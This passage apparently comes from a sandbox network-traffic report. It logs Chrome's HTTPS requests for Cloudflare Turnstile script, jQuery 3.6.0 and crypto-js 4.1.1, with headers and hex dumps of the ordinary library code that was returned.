pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var le;(fun
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 76 61 72 20 59 3d 22 30 2f 30 22 3b 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 Data Ascii: var Y="0/0";function ft(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="d
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 63 2c 75 3d 4c 28 78 72 2c 28 63 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 67 2c 5f 3d 4c 28 77 72 2c 28 67 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 67 21 3d 3d 76 6f 69 64 20 30 3f 67 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 26 26 75 3f 22 Data Ascii: HAVING_TROUBLES,c,u=L(xr,(c=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&c!==void 0?c:"nonexistent"),g,_=L(wr,(g=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&g!==void 0?g:"nonexistent");return o&&u?"
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 7d 2c 73 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 5a 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: __proto__\|\|Object.getPrototypeOf(a)},se(e)}function Zt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Pe(e){var r=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Zt(o))return o;if(typeof o!="function")
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 61 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 50 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 76 61 72 20 65 3d 67 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 Data Ascii: riptElement)&&e.test(r.src))return r;for(var a=document.querySelectorAll("script"),o=0,c;c=a[o];o++)if(P(c,HTMLScriptElement)&&e.test(c.src))return c}function ar(){var e=gt();e\|\|v("Could not find Turnstile script tag, some features may not be available",4
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 66 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 30 70 78 22 2c 66 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 Data Ascii: ("allow","cross-origin-isolated; fullscreen"),f.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),f.setAttribute("scrolling","no"),f.style.borderWidth="0px",f.style.width="100%",f.style.height="100%",f.style.overflow="hidd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49758	151.101.130.137	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:36 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:36 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2438454 Date: Fri, 23 Aug 2024 14:21:36 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740027-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 0 X-Timer: S1724422897.791810,VS0,VE1 Vary: Accept-Encoding
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49757	104.17.24.14	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:36 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:36 UTC	955	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:36 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3438934 Expires: Wed, 13 Aug 2025 14:21:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uY7tWia5pTLmwjLnLjVQWjxrxYciTGk%2BH6l8hFLlNYctQYYiVqsWOzRjNU40mUBTYTdy2JTWCxBE4paYAGDWwv7gylo4PbpIql1MU9Vpw1ZwTzhIit95KmWjtIRIZcseu5SaMVm2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8b7bc0011f7f8c83-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:36 UTC	414	IN	Data Raw: 37 62 66 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf6!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c Data Ascii: obalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|
